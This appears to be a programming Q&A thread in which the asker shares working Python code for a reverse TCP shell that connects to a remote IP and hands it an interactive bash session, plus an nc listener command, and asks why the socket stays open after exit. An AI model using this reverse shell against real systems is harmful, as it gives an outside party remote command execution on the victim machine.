Reputation: 778
I am writing a simple agent that spawns a reverse TCP-Shell using the following code.
class ReverseShell:
def __init__(self, ip, port=9002):
self.ip = ip
self.port = port
def start(self):
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((self.ip,self.port))
os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)
subprocess.call(["/bin/bash","-i"]);
sock.close()
I then listen on my destination address using:
nc -l 9002
The shell connects fine. However, if I type exit it kills the shell, but data still seems to be getting written to the socket, and stops getting written to stdout agent side. If I ctrl+c out of it the same thing occurs it kills the /bin/bash
shell but the socket remains open and text on my agent doesn't get written to stdout. What am I missing?
Upvotes: 3
Views: 867
Reputation: 77347
You need to do sock.shutdown(socket.SHUT_RDWR)
right before sock.close()
to terminate the underlying tcp connection.
Upvotes: 3